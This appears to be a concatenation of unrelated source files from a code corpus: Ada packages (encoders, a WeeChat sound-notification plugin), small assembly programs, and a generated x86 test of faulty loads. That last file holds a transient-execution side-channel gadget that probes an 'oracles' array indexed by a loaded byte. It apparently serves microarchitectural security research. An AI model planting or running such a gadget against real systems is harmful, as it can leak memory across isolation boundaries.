nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ori $1,$1,1
nop
jal func
nop
addu $t1,$t0,$t1
|
ada/src/afrl/cmasi/afrl-cmasi-entityconfiguration.adb
|
joffreyhuguet/LmcpGen
| 0 |
28060
|
<filename>ada/src/afrl/cmasi/afrl-cmasi-entityconfiguration.adb
package body afrl.cmasi.entityConfiguration is
function getFullLmcpTypeName (this : EntityConfiguration) return String is ("afrl.cmasi.entityConfiguration.EntityConfiguration");
function getLmcpTypeName (this : EntityConfiguration) return String is ("EntityConfiguration");
function getLmcpType (this : EntityConfiguration) return UInt32_t is (CmasiEnum'Pos(ENTITYCONFIGURATION_ENUM));
function getID (this : EntityConfiguration'Class) return Int64_t is (this.ID);
procedure setID (this : out EntityConfiguration'Class; ID : in Int64_t) is
begin
this.ID := ID;
end setID;
function getAffiliation(this : EntityConfiguration'Class) return Unbounded_String is (this.Affiliation);
procedure setAffiliation(this : out EntityConfiguration'Class; Affiliation : in Unbounded_String) is
begin
this.Affiliation := Affiliation;
end setAffiliation;
function getEntityType(this : EntityConfiguration'Class) return Unbounded_String is (this.EntityType);
procedure setEntityType(this : out EntityConfiguration'Class; EntityType : in Unbounded_String) is
begin
this.EntityType := EntityType;
end setEntityType;
function getLabel(this : EntityConfiguration'Class) return Unbounded_String is (this.Label);
procedure setLabel(this : out EntityConfiguration'Class; Label : in Unbounded_String) is
begin
this.Label := Label;
end setLabel;
function getNominalSpeed(this : EntityConfiguration'Class) return Float_t is (this.NominalSpeed);
procedure setNominalSpeed(this : out EntityConfiguration'Class; NominalSpeed : in Float_t) is
begin
this.NominalSpeed := NominalSpeed;
end setNominalSpeed;
function getNominalAltitude(this : EntityConfiguration'Class) return Float_t is (this.NominalAltitude);
procedure setNominalAltitude(this : out EntityConfiguration'Class; NominalAltitude : in Float_t) is
begin
this.NominalAltitude := NominalAltitude;
end setNominalAltitude;
function getNominalAltitudeType(this : EntityConfiguration'Class) return AltitudeTypeEnum is (this.NominalAltitudeType);
procedure setNominalAltitudeType(this : out EntityConfiguration'Class; NominalAltitudeType : in AltitudeTypeEnum) is
begin
this.NominalAltitudeType := NominalAltitudeType;
end setNominalAltitudeType;
function getPayloadConfigurationList(this : EntityConfiguration'Class) return Vect_PayloadConfiguration_Class_Acc_Acc is (this.PayloadConfigurationList);
function getInfo(this : EntityConfiguration'Class) return Vect_KeyValuePair_Acc_Acc is (this.Info);
end afrl.cmasi.entityConfiguration;
|
programs/oeis/059/A059100.asm
|
karttu/loda
| 1 |
94042
|
<gh_stars>1-10
; A059100: a(n) = n^2 + 2.
; 2,3,6,11,18,27,38,51,66,83,102,123,146,171,198,227,258,291,326,363,402,443,486,531,578,627,678,731,786,843,902,963,1026,1091,1158,1227,1298,1371,1446,1523,1602,1683,1766,1851,1938,2027,2118,2211,2306,2403,2502,2603,2706,2811,2918,3027,3138,3251,3366,3483,3602,3723,3846,3971,4098,4227,4358,4491,4626,4763,4902,5043,5186,5331,5478,5627,5778,5931,6086,6243,6402,6563,6726,6891,7058,7227,7398,7571,7746,7923,8102,8283,8466,8651,8838,9027,9218,9411,9606,9803,10002,10203,10406,10611,10818,11027,11238,11451,11666,11883,12102,12323,12546,12771,12998,13227,13458,13691,13926,14163,14402,14643,14886,15131,15378,15627,15878,16131,16386,16643,16902,17163,17426,17691,17958,18227,18498,18771,19046,19323,19602,19883,20166,20451,20738,21027,21318,21611,21906,22203,22502,22803,23106,23411,23718,24027,24338,24651,24966,25283,25602,25923,26246,26571,26898,27227,27558,27891,28226,28563,28902,29243,29586,29931,30278,30627,30978,31331,31686,32043,32402,32763,33126,33491,33858,34227,34598,34971,35346,35723,36102,36483,36866,37251,37638,38027,38418,38811,39206,39603,40002,40403,40806,41211,41618,42027,42438,42851,43266,43683,44102,44523,44946,45371,45798,46227,46658,47091,47526,47963,48402,48843,49286,49731,50178,50627,51078,51531,51986,52443,52902,53363,53826,54291,54758,55227,55698,56171,56646,57123,57602,58083,58566,59051,59538,60027,60518,61011,61506,62003
mov $1,$0
pow $1,2
add $1,2
|
src/natools-s_expressions-encodings.adb
|
faelys/natools
| 0 |
27184
|
<filename>src/natools-s_expressions-encodings.adb<gh_stars>0
------------------------------------------------------------------------------
-- Copyright (c) 2013, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
package body Natools.S_Expressions.Encodings is
--------------------------
-- Hexadecimal Decoding --
--------------------------
function Is_Hex_Digit (Value : in Octet) return Boolean is
begin
case Value is
when Digit_0 .. Digit_9 => return True;
when Lower_A .. Lower_F => return True;
when Upper_A .. Upper_F => return True;
when others => return False;
end case;
end Is_Hex_Digit;
function Decode_Hex (Value : in Octet) return Octet is
begin
case Value is
when Digit_0 .. Digit_9 => return Value - Digit_0;
when Lower_A .. Lower_F => return Value - Lower_A + 10;
when Upper_A .. Upper_F => return Value - Upper_A + 10;
when others => raise Constraint_Error;
end case;
end Decode_Hex;
function Decode_Hex (High, Low : in Octet) return Octet is
begin
return Decode_Hex (High) * 16 + Decode_Hex (Low);
end Decode_Hex;
function Decode_Hex (Data : in Atom) return Atom is
Length : Count := 0;
begin
for I in Data'Range loop
if Is_Hex_Digit (Data (I)) then
Length := Length + 1;
end if;
end loop;
Length := (Length + 1) / 2;
return Result : Atom (0 .. Length - 1) do
declare
O : Offset := Result'First;
High : Octet := 0;
Has_High : Boolean := False;
begin
for I in Data'Range loop
if Is_Hex_Digit (Data (I)) then
if Has_High then
Result (O) := Decode_Hex (High, Data (I));
O := O + 1;
High := 0;
Has_High := False;
else
High := Data (I);
Has_High := True;
end if;
end if;
end loop;
if Has_High then
Result (O) := Decode_Hex (High, Digit_0);
O := O + 1;
end if;
pragma Assert (O - 1 = Result'Last);
end;
end return;
end Decode_Hex;
--------------------------
-- Hexadecimal Encoding --
--------------------------
function Encode_Hex (Value : in Octet; Casing : in Hex_Casing)
return Octet is
begin
case Value is
when 0 .. 9 =>
return Digit_0 + Value;
when 10 .. 15 =>
case Casing is
when Upper => return Upper_A + Value - 10;
when Lower => return Lower_A + Value - 10;
end case;
when others =>
raise Constraint_Error;
end case;
end Encode_Hex;
procedure Encode_Hex
(Value : in Octet;
Casing : in Hex_Casing;
High, Low : out Octet) is
begin
High := Encode_Hex (Value / 2**4 mod 2**4, Casing);
Low := Encode_Hex (Value mod 2**4, Casing);
end Encode_Hex;
function Encode_Hex (Data : in Atom; Casing : in Hex_Casing) return Atom is
Result : Atom (0 .. Data'Length * 2 - 1);
Cursor : Offset := Result'First;
begin
for I in Data'Range loop
Encode_Hex (Data (I), Casing, Result (Cursor), Result (Cursor + 1));
Cursor := Cursor + 2;
end loop;
pragma Assert (Cursor = Result'Last + 1);
return Result;
end Encode_Hex;
----------------------
-- Base-64 Decoding --
----------------------
function Is_Base64_Digit (Value : in Octet) return Boolean is
begin
return Value in Digit_0 .. Digit_9
or Value in Lower_A .. Lower_Z
or Value in Upper_A .. Upper_Z
or Value = Plus
or Value = Slash;
end Is_Base64_Digit;
function Decode_Base64 (Value : in Octet) return Octet is
begin
case Value is
when Upper_A .. Upper_Z => return Value - Upper_A + 0;
when Lower_A .. Lower_Z => return Value - Lower_A + 26;
when Digit_0 .. Digit_9 => return Value - Digit_0 + 52;
when Plus => return 62;
when Slash => return 63;
when others => raise Constraint_Error;
end case;
end Decode_Base64;
function Decode_Base64 (A, B : in Octet) return Atom is
VA : constant Octet := Decode_Base64 (A);
VB : constant Octet := Decode_Base64 (B);
begin
return (0 => VA * 2**2 + VB / 2**4);
end Decode_Base64;
function Decode_Base64 (A, B, C : in Octet) return Atom is
VA : constant Octet := Decode_Base64 (A);
VB : constant Octet := Decode_Base64 (B);
VC : constant Octet := Decode_Base64 (C);
begin
return (0 => VA * 2**2 + VB / 2**4,
1 => VB * 2**4 + VC / 2**2);
end Decode_Base64;
function Decode_Base64 (A, B, C, D : in Octet) return Atom is
VA : constant Octet := Decode_Base64 (A);
VB : constant Octet := Decode_Base64 (B);
VC : constant Octet := Decode_Base64 (C);
VD : constant Octet := Decode_Base64 (D);
begin
return (0 => VA * 2**2 + VB / 2**4,
1 => VB * 2**4 + VC / 2**2,
2 => VC * 2**6 + VD);
end Decode_Base64;
function Decode_Base64 (Data : in Atom) return Atom is
Length : Count := 0;
begin
for I in Data'Range loop
if Is_Base64_Digit (Data (I)) then
Length := Length + 1;
end if;
end loop;
declare
Chunks : constant Count := Length / 4;
Remains : constant Count := Length mod 4;
begin
if Remains >= 2 then
Length := Chunks * 3 + Remains - 1;
else
Length := Chunks * 3;
end if;
end;
return Result : Atom (0 .. Length - 1) do
declare
O : Count := Result'First;
Buffer : Atom (0 .. 3);
Accumulated : Count := 0;
begin
for I in Data'Range loop
if Is_Base64_Digit (Data (I)) then
Buffer (Accumulated) := Data (I);
Accumulated := Accumulated + 1;
if Accumulated = 4 then
Result (O .. O + 2) := Decode_Base64 (Buffer (0),
Buffer (1),
Buffer (2),
Buffer (3));
O := O + 3;
Accumulated := 0;
end if;
end if;
end loop;
if Accumulated = 2 then
Result (O .. O) := Decode_Base64 (Buffer (0), Buffer (1));
O := O + 1;
elsif Accumulated = 3 then
Result (O .. O + 1) := Decode_Base64 (Buffer (0),
Buffer (1),
Buffer (2));
O := O + 2;
end if;
pragma Assert (O = Length);
end;
end return;
end Decode_Base64;
----------------------
-- Base-64 Encoding --
----------------------
function Encode_Base64 (Value : in Octet) return Octet is
begin
case Value is
when 0 .. 25 =>
return Upper_A + Value;
when 26 .. 51 =>
return Lower_A + Value - 26;
when 52 .. 61 =>
return Digit_0 + Value - 52;
when 62 =>
return Plus;
when 63 =>
return Slash;
when others =>
raise Constraint_Error;
end case;
end Encode_Base64;
procedure Encode_Base64 (Output : out Atom; A : in Octet) is
begin
Output (Output'First + 0) := Encode_Base64 (A / 2**2 mod 2**6);
Output (Output'First + 1) := Encode_Base64 (A * 2**4 mod 2**6);
Output (Output'First + 2) := Base64_Filler;
Output (Output'First + 3) := Base64_Filler;
end Encode_Base64;
procedure Encode_Base64 (Output : out Atom; A, B : in Octet) is
begin
Output (Output'First + 0) := Encode_Base64 (A / 2**2 mod 2**6);
Output (Output'First + 1) := Encode_Base64 ((A * 2**4 + B / 2**4)
mod 2**6);
Output (Output'First + 2) := Encode_Base64 (B * 2**2 mod 2**6);
Output (Output'First + 3) := Base64_Filler;
end Encode_Base64;
procedure Encode_Base64 (Output : out Atom; A, B, C : in Octet) is
begin
Output (Output'First + 0) := Encode_Base64 (A / 2**2 mod 2**6);
Output (Output'First + 1) := Encode_Base64 ((A * 2**4 + B / 2**4)
mod 2**6);
Output (Output'First + 2) := Encode_Base64 ((B * 2**2 + C / 2**6)
mod 2**6);
Output (Output'First + 3) := Encode_Base64 (C mod 2**6);
end Encode_Base64;
function Encode_Base64 (Data : in Atom) return Atom is
Chunks : constant Count := (Data'Length + 2) / 3;
Result : Atom (0 .. Chunks * 4 - 1);
Cursor : Offset := Result'First;
I : Offset := Data'First;
begin
while I in Data'Range loop
if I + 2 in Data'Range then
Encode_Base64
(Result (Cursor .. Cursor + 3),
Data (I),
Data (I + 1),
Data (I + 2));
I := I + 3;
elsif I + 1 in Data'Range then
Encode_Base64
(Result (Cursor .. Cursor + 3),
Data (I),
Data (I + 1));
I := I + 2;
else
Encode_Base64
(Result (Cursor .. Cursor + 3),
Data (I));
I := I + 1;
end if;
Cursor := Cursor + 4;
end loop;
return Result;
end Encode_Base64;
---------------------------------
-- Base-64 with other charsets --
---------------------------------
function Decode_Base64 (Data : in Atom; Digit_62, Digit_63 : in Octet)
return Atom
is
Recoded : Atom := Data;
begin
for I in Recoded'Range loop
if Recoded (I) = Digit_62 then
Recoded (I) := Plus;
elsif Recoded (I) = Digit_63 then
Recoded (I) := Slash;
end if;
end loop;
return Decode_Base64 (Recoded);
end Decode_Base64;
function Encode_Base64 (Data : in Atom; Digit_62, Digit_63 : in Octet)
return Atom
is
Result : Atom := Encode_Base64 (Data);
Last : Count := Result'Last;
begin
for I in Result'Range loop
if Result (I) = Plus then
Result (I) := Digit_62;
elsif Result (I) = Slash then
Result (I) := Digit_63;
elsif Result (I) = Base64_Filler then
pragma Assert (Result (I + 1 .. Result'Last)
= (I + 1 .. Result'Last => Base64_Filler));
Last := I - 1;
exit;
end if;
end loop;
return Result (Result'First .. Last);
end Encode_Base64;
function Encode_Base64
(Data : in Atom;
Digit_62, Digit_63, Padding : in Octet)
return Atom
is
Result : Atom := Encode_Base64 (Data);
begin
for I in Result'Range loop
if Result (I) = Plus then
Result (I) := Digit_62;
elsif Result (I) = Slash then
Result (I) := Digit_63;
elsif Result (I) = Base64_Filler then
Result (I) := Padding;
end if;
end loop;
return Result;
end Encode_Base64;
end Natools.S_Expressions.Encodings;
|
src/plugin_canberra.adb
|
onox/weechat-canberra
| 1 |
23007
|
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2020 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with System;
with Interfaces.C.Strings;
with Ada.Calendar.Formatting;
with Ada.Calendar.Time_Zones;
with Ada.Unchecked_Conversion;
with Canberra;
with WeeChat;
package body Plugin_Canberra is
-- Play sounds when a message is received, nick name is highlighted, or
-- when client got (dis)connected to IRC server.
Sound_Message : constant String := "message";
-- Not away and new message:
Sound_Message_Highlight : constant String := "message-new-instant";
-- Not away and (PM or nick highlighted):
Sound_Message_Highlight_Away : constant String := "phone-incoming-call";
-- Away and (PM or nick highlighted) and current time is during office hours
Sound_Message_Reminder : constant String := "phone-outgoing-busy";
-- Away and (PM or nick highlighted) and current time outside office hours
-- (Played in the morning for x minutes or until not away)
Sound_Server_Connected : constant String := "service-login";
-- Plugin initalized or connected to IRC server:
Sound_Server_Disconnected : constant String := "service-logout";
-- Disconnected from IRC server:
Away_Duration : constant Duration := 30.0 * 60.0;
Retry_Duration : constant Duration := 30.0;
Reminder_Retries : constant Positive := 10;
Office_Hour_Start : constant Duration := Ada.Calendar.Formatting.Seconds_Of (7, 0);
Office_Hour_End : constant Duration := Ada.Calendar.Formatting.Seconds_Of (21, 0);
-----------------------------------------------------------------------------
Last_Key_Press : Ada.Calendar.Time := Ada.Calendar.Clock;
Is_Highlighted_While_Away : Boolean := False;
use Ada.Calendar;
function Image_Date (Date : Ada.Calendar.Time) return String is
(Formatting.Image (Date, Time_Zone => Time_Zones.UTC_Time_Offset));
function Image_Time (Time : Duration) return String is
(Formatting.Image (Time));
-----------------------------------------------------------------------------
Context : Canberra.Context := Canberra.Create;
procedure Play_Async (Event : String) is
S1 : Canberra.Sound;
begin
Context.Play (Event, S1);
end Play_Async;
-----------------------------------------------------------------------------
use WeeChat;
Reminder_Timer : Timer;
function Reminder_Repeated_Call_Handler
(Plugin : Plugin_Ptr;
Remaining_Calls : Integer) return Callback_Result is
begin
if Is_Highlighted_While_Away then
Play_Async (Sound_Message_Reminder);
if Remaining_Calls = 0 then
Reminder_Timer := No_Timer;
end if;
else
Cancel_Timer (Reminder_Timer);
Reminder_Timer := No_Timer;
end if;
return OK;
end Reminder_Repeated_Call_Handler;
function Reminder_First_Call_Handler
(Plugin : Plugin_Ptr;
Remaining_Calls : Integer) return Callback_Result is
begin
if Is_Highlighted_While_Away then
Play_Async (Sound_Message_Reminder);
Reminder_Timer := Set_Timer (Plugin, Retry_Duration, 0, Reminder_Retries,
Reminder_Repeated_Call_Handler'Access);
else
Reminder_Timer := No_Timer;
end if;
return OK;
end Reminder_First_Call_Handler;
-----------------------------------------------------------------------------
function On_Key_Press_Signal
(Plugin : Plugin_Ptr;
Signal : String;
Kind : Data_Kind;
Signal_Data : Void_Ptr) return Callback_Result is
begin
Is_Highlighted_While_Away := False;
Last_Key_Press := Ada.Calendar.Clock;
return OK;
end On_Key_Press_Signal;
function On_IRC_Signal
(Plugin : Plugin_Ptr;
Signal : String;
Kind : Data_Kind;
Signal_Data : Void_Ptr) return Callback_Result is
begin
if Signal = "irc_server_connected" then
Play_Async (Sound_Server_Connected);
elsif Signal = "irc_server_disconnected" then
Play_Async (Sound_Server_Disconnected);
end if;
return OK;
end On_IRC_Signal;
function On_IRC_Message_Signal
(Plugin : Plugin_Ptr;
Signal : String;
Kind : Data_Kind;
Signal_Data : Void_Ptr) return Callback_Result
is
Signal_Splitted : constant String_List :=
Split (Signal, Separator => ",", Maximum => 2);
use type SU.Unbounded_String;
Server_Name : SU.Unbounded_String renames Signal_Splitted (1);
Signal_Name : SU.Unbounded_String renames Signal_Splitted (2);
Nick_Name : constant String := Get_Info (Plugin, "irc_nick", +Server_Name);
begin
if Signal_Name /= "irc_in2_PRIVMSG" or Kind /= String_Type or Signal_Data = Null_Void then
return Error;
end if;
declare
use Interfaces.C.Strings;
function Convert is new Ada.Unchecked_Conversion (Void_Ptr, chars_ptr);
Message : constant String_List := Split (Value (Convert (Signal_Data)), Maximum => 4);
From_User : SU.Unbounded_String renames Message (1);
Primitive : SU.Unbounded_String renames Message (2);
Channel : SU.Unbounded_String renames Message (3);
Text : SU.Unbounded_String renames Message (4);
pragma Assert (Primitive = "PRIVMSG");
Is_Private_Message : constant Boolean := Channel = Nick_Name;
Is_Highlighted : constant Boolean := SU.Index (Text, ":" & Nick_Name & ": ") > 0;
Is_Away : constant Boolean := Clock - Last_Key_Press > Away_Duration;
begin
if Is_Private_Message or Is_Highlighted then
if not Is_Away then
Play_Async (Sound_Message);
Play_Async (Sound_Message_Highlight);
else
Is_Highlighted_While_Away := True;
if Seconds (Clock) in Office_Hour_Start .. Office_Hour_End then
if Reminder_Timer /= No_Timer then
Cancel_Timer (Reminder_Timer);
Reminder_Timer := No_Timer;
end if;
Play_Async (Sound_Message_Highlight_Away);
else
declare
Current_Time : constant Time := Clock;
Wake_Up_Date : constant Time := Current_Time - Seconds (Current_Time)
+ (if Seconds (Clock) >= Office_Hour_End then Day_Duration'Last else 0.0)
+ Office_Hour_Start;
In_Time : constant Duration := Wake_Up_Date - Current_Time;
Sender : constant String := Get_Nick (Host => +From_User);
begin
if Reminder_Timer = No_Timer then
Reminder_Timer := Set_Timer
(Plugin, In_Time, 60, 1, Reminder_First_Call_Handler'Access);
Send_Message
(Plugin, +Server_Name,
(if Is_Private_Message then Sender else +Channel),
(if Is_Private_Message then "" else Sender & ": ") &
"I'm currently away since " & Image_Date (Last_Key_Press) &
". I will try to notify myself in about " &
Image_Time (In_Time) & " hours");
end if;
end;
end if;
end if;
elsif not Is_Away then
Play_Async (Sound_Message);
end if;
end;
return OK;
end On_IRC_Message_Signal;
procedure Plugin_Initialize (Plugin : Plugin_Ptr) is
begin
On_Signal (Plugin, "key_pressed", On_Key_Press_Signal'Access);
On_Signal (Plugin, "irc_*", On_IRC_Signal'Access);
On_Signal (Plugin, "*,irc_in2_PRIVMSG", On_IRC_Message_Signal'Access);
Play_Async (Sound_Server_Connected);
end Plugin_Initialize;
procedure Plugin_Finalize (Plugin : Plugin_Ptr) is null;
Plugin_Name : constant C_String := "canberra" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_name";
Plugin_Author : constant C_String := "onox" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_author";
Plugin_Description : constant C_String := "Canberra sounds with Ada 2012" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_description";
Plugin_Version : constant C_String := "1.0" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_version";
Plugin_License : constant C_String := "Apache-2.0" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_license";
Plugin_API_Version : constant String := WeeChat.Plugin_API_Version
with Export, Convention => C, External_Name => "weechat_plugin_api_version";
function Plugin_Init
(Object : Plugin_Ptr;
Argc : Interfaces.C.int;
Argv : System.Address) return Callback_Result
with Export, Convention => C, External_Name => "weechat_plugin_init";
function Plugin_End (Object : Plugin_Ptr) return Callback_Result
with Export, Convention => C, External_Name => "weechat_plugin_end";
function Plugin_Init
(Object : Plugin_Ptr;
Argc : Interfaces.C.int;
Argv : System.Address) return Callback_Result is
begin
return Plugin_Init (Object, Plugin_Initialize'Access);
end Plugin_Init;
function Plugin_End (Object : Plugin_Ptr) return Callback_Result is
begin
return Plugin_End (Object, Plugin_Finalize'Access);
end Plugin_End;
end Plugin_Canberra;
|
libsrc/_DEVELOPMENT/adt/bv_stack/c/sdcc_iy/bv_stack_reserve.asm
|
jpoikela/z88dk
| 640 |
102596
|
<reponame>jpoikela/z88dk
; int bv_stack_reserve(bv_stack_t *s, size_t n)
SECTION code_clib
SECTION code_adt_bv_stack
PUBLIC _bv_stack_reserve
EXTERN _b_vector_reserve
defc _bv_stack_reserve = _b_vector_reserve
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_917.asm
|
ljhsiun2/medusa
| 9 |
241181
|
<filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_917.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x801a, %rsi
lea addresses_WT_ht+0x251a, %rdi
nop
nop
sub %r8, %r8
mov $59, %rcx
rep movsb
nop
sub $35919, %rbx
lea addresses_A_ht+0x141a, %rdx
clflush (%rdx)
nop
inc %r13
movl $0x61626364, (%rdx)
nop
nop
add $31912, %rcx
lea addresses_A_ht+0x1e391, %rcx
nop
nop
nop
nop
add $37669, %rsi
movl $0x61626364, (%rcx)
nop
xor $53207, %rsi
lea addresses_UC_ht+0x8608, %r8
nop
nop
nop
nop
nop
and %rcx, %rcx
vmovups (%r8), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
nop
nop
add $11350, %r8
lea addresses_A_ht+0xecfa, %rsi
lea addresses_UC_ht+0x17f1a, %rdi
add $42197, %rax
mov $113, %rcx
rep movsq
nop
nop
nop
nop
cmp $3189, %r13
lea addresses_normal_ht+0x1381a, %rbx
nop
nop
nop
cmp $38089, %rsi
movw $0x6162, (%rbx)
nop
nop
nop
nop
inc %rdx
lea addresses_WT_ht+0x1781a, %rdx
cmp $31135, %rax
mov (%rdx), %rsi
nop
nop
xor %rax, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r9
push %rcx
push %rdi
// Store
lea addresses_A+0x719a, %r11
nop
nop
xor %rcx, %rcx
mov $0x5152535455565758, %r12
movq %r12, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
add $32362, %r11
// Faulty Load
lea addresses_normal+0x1281a, %r15
add $5042, %rdi
movb (%r15), %r12b
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 